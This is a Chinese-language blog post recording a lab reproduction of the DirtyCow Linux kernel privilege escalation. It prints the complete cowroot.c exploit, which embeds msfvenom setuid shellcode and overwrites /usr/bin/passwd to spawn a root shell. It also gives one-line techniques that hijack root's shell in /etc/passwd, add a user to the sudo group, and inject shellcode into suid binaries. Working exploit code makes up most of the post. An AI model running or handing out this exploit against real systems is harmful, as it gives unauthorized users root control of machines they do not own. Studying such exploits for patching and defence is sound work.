DirtyCow 漏洞利用

脏牛漏洞的简单利用方式

Posted by JenI on 2016-10-29 00:00:00+08:00

前言

最近了解了一下网上聊的很热闹的脏牛漏洞,据说利用这个漏洞可以实现低权限用户本地提权,而且对Linux内核2.6.22以上的版本都有效果,包括Pc和Android。既然是Linux内核通杀漏洞,危害性肯定不容小视。我用虚拟机简单的进行了实验,确实成功的让普通用户获得了root权限。在这里记录一下实验过程。

实验过程

网上有很多关于该漏洞的描述,我就不过多的介绍了,直接上实验过程

首先准备了一个虚拟机(我使用的系统:Kali-linux-2016.2-amd64),本来打算找个服务器版本的系统做实验,但是手头没有下载好的镜像,教室网速又比较慢,所以就直接用了个之前下载的系统,系统虽然比较新,但是不影响实验,毕竟号称全版本通杀嘛,只要系统内核还没更新到最新,就应该可以利用。

以 root 用户登录,然后在 /tmp 目录下放入 开源在 Github 上的POC,POC的下载地址在这里:下载POC

然后执行以下操作

dirtycow-1

模拟入侵行为,切换到一个普通用户有权限操作的目录,创建一个 test 文件,内容为 1234567890 ,只给普通用户读的权限。然后切换到普通用户身份,尝试操作 test 文件,可以读取,但无写入权限。接下来利用漏洞:

dirtycow-2

这时发现我们成功的使用 00000 覆盖写入了 test 文件的前五位数字,test 文件内容由 1234567890 变为了 0000067890,原本 jeni 用户是没有权限修改 test 文件的,但是利用脏牛漏洞权限成功被提升。试想,我们使用同样的方法修改 /etc/passwd 文件,将 jeni 用户的 uid 改为 0 ,那么 jeni 是不是就拥有 root 权限了呢?

这里提供几种网上看到的其他的利用姿势(来源:安全客):

  • 添加以下内容到 /tmp/.pwn 文件:

    #!/bin/bash
    echo MOOOOOOOOOOO
    /bin/bash
    
    chmod +x /tmp/.pwn
    然后修改/etc/passwd中的shell指向
    ./dirtyc0w /etc/passwd root:x:0:0:root:/root:/tmp/.pwn
    

  • 添加用户到 sudo 组

    ./dirtyc0w /etc/group "$(sed 's/\(sudo:x:.*:\)/\1test1/g' /etc/group)"
    
    下次管理员再登陆的话 sudo su 不需要密码

  • 注入shellcode到suid文件,比如最常见的2个文件

    /usr/bin/crontab
    /usr/bin/passwd
    

下面的实验针对 /etc/passwd 文件进行了修改,让 jeni 用户直接获得一个拥有 root 权限的 shell,第一步还是在 /tmp 目录内放入我们的利用源码,也就是前面图片上显示的 cowroot.c ,内容为(网上转来转去的,也没写出处,所以我也不知道来源是哪 -_-' ):

/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd is overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* [email protected]:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*/
#include 
#include 
#include 
#include 
#include 
#include 
#include 
void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;
// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";
/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;
/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/
void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}
void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}
void *waitForWrite(void *arg) {
    char buf[sc_len];
    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");
        fread(buf, sc_len, 1, fp);
        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s is overwritten\n", suid_binary);
            break;
        }
        fclose(fp);
        sleep(1);
    }
    stop = 1;
    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");
    system(suid_binary);
}
int main(int argc,char *argv[]) {
    char *backup;
    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s.. to /tmp/bak\n", suid_binary);
    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);
    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);
    printf("Size of binary: %d\n", st.st_size);
    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);
    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
    printf("Racing, this may take a while..\n");
    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);
    pthread_join(pth3, NULL);
    return 0;
}

然后执行

dirtycow-3

最后效果如下:这样确实让 jeni 用户获得了一个 root 权限的shell,但是简单的执行几条命令后,虚拟机就挂了,不知道具体原因,网上说可能是 race condition 的原因。

dirtycow-4

作者:   JenI   转载请注明出处,谢谢


Comments !